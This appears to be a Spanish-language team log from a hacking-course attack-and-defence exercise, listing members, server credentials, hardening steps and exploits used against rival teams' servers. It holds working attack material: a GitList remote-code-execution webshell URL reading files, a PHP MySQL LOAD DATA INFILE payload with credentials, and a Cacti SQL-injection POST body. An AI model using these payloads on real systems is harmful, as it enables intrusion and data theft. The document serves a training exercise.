Web viewIntegrantes: José Luis Lucas Saorín. [email protected]. Jhonatan Ospina....
Transcript of Web viewIntegrantes: José Luis Lucas Saorín. [email protected]. Jhonatan Ospina....
Integrantes:José Luis Lucas Saorín [email protected] Ospina [email protected] BarriosAnton Alberdi [email protected] Fran [email protected] Eduardo Navarrete Abarca [email protected] Pardo Delgado [email protected] Fernando Castillo Delabarra [email protected]
Datos del Servidor:
IP : 188.166.84.116
He cambiado la password de mysql root a la misma que root
BD Mysql 5.5.44-0+deb7u1
Se obtiene de :cd /etc/cactimore debian.php
Usuario/Clave : cacti/epMeOwAb9 -- se cambia a b78d28f826cb1616ab580f1aa865627c
Aplicaciones:CACTI : http://188.166.84.116/cacti/index.phpuser admin y pass b78d28f826cb1616ab580f1aa865627c Si el resto de equipos no lo cambia la pass es la misma epMeOwAb9, podemos probarlo.
gitlist
http://188.166.84.116/gitlist/
Archivos MOOC encontrados.
./usr/ftp
Resultado del escaneo con nmap antes de realizar ninguna modificación en el servidor, comprobando S.O., con escaneo de puertos y servicios.
Accesos 07-10
Principales Vulnerabilidades encontradas:
Vulnerabilidad en FTP Anonymous.
Una vulnerabilidad grave encontrada es que al escribir en el navegador por ftp://188.166.84.116/ se encuentra facilmente el archivo del nivel 02. mooc-hacking-team-0006-level-02.gpg. Para poder protegerse de este ataque es necesario desactivar el ingreso anónimo al servidor FTP. Proceso realizado por los compañeros del grupo. Sin embargo aún es posible atacar el FTP y obtener el usuario y clave por fuerza bruta u obtener el archivo del nivel 02 por una vulnerabilidad en el servicio getlist.
De momento resuelta desactivando el acceso anónimo. La fuerza bruta se puede contener con un password complejo.
Archivo de configuración /etc/vsftpd.conf
Vulnerabilidades GitList 0.4.0 Remote Code Execution.
Al buscar las vulnerabilidades en internet sobre gitlist, se encuentran que la versión instalada en el server tiene muchas vulnerabilidades, el compañero Jesus Pardo encontró un exploit para poder explotar valga la redundancia el fallo que permite escribir cualquier archivo en la ruta /var/www/gitlist/cache y ahi es posible ejecutar comandos. El exploit se encuentra aquí.
Fuente:https://www.exploit-db.com/exploits/33929/Ejecución del script:
Una vez ejecutado el script, si todo va bien nos devuelve un links con el cual podemos ejecutar comandos, para poder obtener la información.
Tambien se puede llamar directamente, sin ejecutar el exploit, a
ip/gitlist/gitlist/blame/master/""`ls -l /var/www/gitlist/cache/`
PGP GitLilsthttp://188.166.84.116/gitlist/cache/x.php?cmd=cat%20/usr/share/doc/base-files/mooc-hacking-team-0006-level-01.gpg
PGP FTPhttp://188.166.84.116/gitlist/cache/x.php?cmd= cat%20/srv/ftp/mooc-hacking-team- 0006-level-03.gpg
Adicionalmente.. aca esta mi aporte con las direcciones de los servidores que encontre.. haciendo un barrido de IPs, algunas direcciones ip están dentro del mismo segmento de red, por lo cual un atacante podría descubrirlas haciendo un ping sweep, enviando solicitudes ICMP a los servidores para que estos las respondan.
1. http://188.166.63.247 Team 222. http://188.166.63.225 Team 073. http://188.166.77.67 Team 044. http://188.166.83.109/ Team 055. http://188.166.84.116/ Team 066. http://188.166.86.130 Team 087. http://188.166.93.179 Team 10
8. http://188.166.102.8 Team 289. http://188.166.108.50 Team 2910.http://188.166.109.57 Team 3011.http://188.166.110.64 Team 3112.http://188.166.121.119 Team1113.http://188.166.0.41 Team 1214.http://188.166.6.83 Team 1615.http://188.166.27.230 Team 1916.http://188.166.123.155 Team 32
De los cuales pueden ser vulnerables a ataques en ftp, gitlist, mysql y cacti, sin embargo no se realizó ningún ataque en contra de los mismos antes de lo reglamentado.
Gitlist Exploit en Python
El exploit crea el archivo x.php en la dirección /var/www/gitlist/cache
La vulnerabilidad se describe aqui: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
Habría que modificar el archivo Repository.php o actualizar. En todo caso nuestro gitllist ya no es vulnerable (que alguien más lo compruebe).
/var/www/gitlist/src/GitList/Git/Repository.php
Configuraciones realizadas para proteger el servidor de ataques de reconocimiento, escaneo y fingerprinting:Fingerprinting attack: este ataque se realiza para obtener una huella digital o información básica acerca del servidor, servicios, puertos, enumeración, aplicaciones web etc.
Actualización del servidor e Instalación de fail2banapt-get install fail2ban && service fail2ban start
Configuración de archivo sysctl.conf - configuraciones básicas de seguridad
Configuración de protección básica contra ip spoofing
Denegación de respuesta a solicitudes ICMPecho > “1” /proc/sys/net/ipv4/icmp_echo_ignore_all
Instalación de denyhostsapt-get install denyhosts && service denyhosts start
Configuración de Iptables para evitar escaneos con nmap y ataques DoS básicos: Se deniegan las respuestas a diferentes flags TCP y UDP, no hay imágenes disponibles; pero la configuración fue realizada con éxito y guardada en un archivo de respaldo, el cual se pueden restaurar con /sbin/iptables-restore < /root/dsl.fw , el archivo dsl.fw contiene las reglas configuradas en iptables.Parchado de CACTI
https://docs.google.com/document/d/1H1uDIVX7u0huMmHwi9hjawN2mK9EV3d23hYOm6B67v8/editInicio de Auditorias, ataque y defensa 13/10/2015
Mediante el usuario anónimo de Ftp de los servidores hemos conseguido 27
archivos de equipos rivales:
10 level 2, 16, 29, 51,60,61,63,65,67,695,8,28,29,30,31,32 ?Tabla de direcciones IP de servidores y archivos gpg obtenidos
Hasta el momento las vulnerabilidades más explotadas han sido en las aplicaciones web gitlist y el servidor de transferencia de archivos ftp.
Dirección IPlevel 1 (gitlist)
level 2 (ftp)
level 3 (cacti) Team Notas
178.62.243.26
188.166.52.148
128.199.48.121 x x 3
188.166.77.67 x x 4vulnerable gitlist
188.166.83.109 5
188.166.84.116Nuestro Server
188.166.63.225 x x 7vulnerable gitlist
188.166.86.130 8
188.166.90.158
188.166.93.179 x x x 10
188.166.121.119
188.166.0.41 x x x 12
178.62.194.201 x x x 13
188.166.1.48 gitlist caido
178.62.197.222
188.166.6.83 x 16 gitlist caido
178.62.203.8 auth
178.62.219.120 x 18
vulnerable gitlist, no tiene cacti
188.166.27.230 x x x oculto 19
178.62.225.162 x x 20
128.199.56.199
188.166.63.247 x x x 22
128.199.57.206 no responde
188.166.87.159
128.199.62.241 x x x 25
188.166.94.208 x x 26
188.166.100.250 gitlist auth
188.166.102.8 28vulnerable gitlist
188.166.108.50 x 29
188.166.109.57 30 gitlist auth
188.166.110.64 31
188.166.123.155 32
178.62.196.237 no hay gitlist
178.62.228.229
178.62.229.236 x x x 35
188.166.40.111
128.199.38.98 no responde
128.199.39.105 tiene gitlist caido
178.62.242.71 x x x 39
178.62.245.92
188.166.51.188 x x 41
188.166.52.195 no tiene gpg’s
188.166.74.93 no responde
178.62.248.113 x x x 44
188.166.102.65 x x 51
vulnerable gitlist, mysql caido
188.166.106.93 x x 52
188.166.107.100 x x x 53
188.166.112.135 x x 54 caído
188.166.125.226 x x 55
178.62.199.59
188.166.7.169 x x x 57
178.62.202.80 x x x 58
178.62.205.101 x x x 59
188.166.17.239 x x x 60
188.166.64.87 x x 61
178.62.241.128 no responde
128.199.41.183x x 63
vulnerable gitlist,mysql caído
188.166.70.129 x x x 64
188.166.73.150 x x x 65
188.166.77.178
188.166.89.6 x 67 caído
188.166.102.97 caído
188.166.115.188 x x x 69
188.166.118.209 mal
178.62.246.186 x x x 71
128.199.45.234 x x x 72
188.166.74.180 x x x 73
178.62.247.193 x x x 74
178.62.248.200 x x x 75
188.166.57.61 x x 76
vulnerable gitlist, el cacti no va
188.166.78.208 x x x 77
188.166.79.215 x x 78 caído
- de 23 equipos los 3 = 69- de 14 equipos 2 = 28- de 4 equipos 1 =4 (3 level 2 +1 l1)
Total 101
- level 1: 23 +14 +1 = 38- level 2: 23 +14 +3 = 40- level 3: 23
En total hemos atacado 41 equipos (de 71 posibles)
Método para los level 3
La explicación aquí:http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/
la forma de asegurarlo es disable all LOAD DATA LOCAL statements from the server side by starting mysqld with the –local-infile=0 option.
Se precisa que la contraseña de Cacti sea por defecto y se usa inyección sql pero no directamente sobre el sitio de cacti sino por php. Por tanto se requiere primero poder subir archivos (vulnerabilidad gitlist). La inyección php es
$c = mysql_connect('localhost', 'cacti', 'epMeOwAb9') or die(mysql_error());mysql_select_db ('cacti') or die(mysql_error());mysql_query('CREATE TABLE IF NOT EXISTS mooc (path longtext not null)',$c) or die(mysql_error());mysql_query("LOAD DATA INFILE '{$f03}' INTO TABLE mooc",$c) or die(mysql_error());$r = mysql_query('select * from mooc', $c) or die(mysql_error());while($row = mysql_fetch_assoc($r)) { echo $row[path]; }mysql_query('drop table mooc', $c);mysql_close($c);
Se conecta a la base de datos, se crea una tabla y se carga el archivo level 3 ({$f03}) para por último leerlo en el servidor www.
Razón del agujero
The problem is that MySQL is a service running on it’s own. Usually, your PHP process is “jailed” within the limits of the www-data user or the one that suPHP has provided you…I’m thinking of a standard Debian installation, where MySQL usually runs under user “mysql”, which has access to some interesting stuff, like /var/log/mysql.err,/var/log/mysql.log.*, /var/log/mysql/* and /var/lib/mysql/*, and this without considering all what the privileges of the user “mysql” implies.
Inyección Sql Cacti
Puede funcionar si el cacti es el 0.8.8.a sin parchar. En principio no hace falta estar logueado, pero las pruebas las he hecho en local logueado.
Se utiliza la vulnerabilidad https://www.cvedetails.com/cve/CVE-2014-5261/
Al acceder a la página cacti/graph_settings.php y guardarla he observado en el log de cacti la siguiente llamada sql
REPLACE INTO settings_graphs (user_id,name,value) values (1,'unit_size', '8')
La inyección se puede hacer en el valor size (8) engañando al mysql, por ejemplo
REPLACE INTO settings_graphs (user_id,name,value) values (1,'unit_size', '8'); create table mooc (path longtext not null); load_file ('/var/www/index.html') into mooc; select * from mooc into outfile '/var/www/cache/g.txt');# ‘)
En cursiva la parte que hay que inyectar. Al final el cacti añade ‘) para cerrar el comando.
De esa manera se podrían ejecutar los comandos sql que queramos. Lo que pasa que ahora hay pocos sitios donde probar. La llamada ha de ser POST, por ejemplo:
$post=”__csrf_magic=sid%3A2abf8de6c37e3f3b60dad64b1ca11a8b699ec66d%2C1445433992&default_rra_id=1&default_view_mode=1&default_timespan=7&default_timeshift=7&first_weekdayid=1&day_shift_start=07%3A00&day_shift_end=18%3A00&default_date_format=4&default_datechar=1&page_refresh=300&default_height=100&default_width=300&num_columns=2&default_tree_id=1&default_tree_view_mode=2&treeview_graphs_per_page=10&default_dual_pane_width=200&preview_graphs_per_page=10&list_graphs_per_page=30&custom_fonts=on&title_size=12&title_font=&legend_size=10&legend_font=&axis_size=8&axis_font=sdfsdf
&unit_size=8’); create table mooc (path longtext not null); load_file ('/var/www/index.html') into mooc; select * from mooc into outfile '/var/www/cache/g.txt';#”;
Se inyecta el parámetro unit_size
El problema que encuentro son las comillas simples. No consigo que me queden así porque el cacti las pone con slashes, del tipo ‘8///’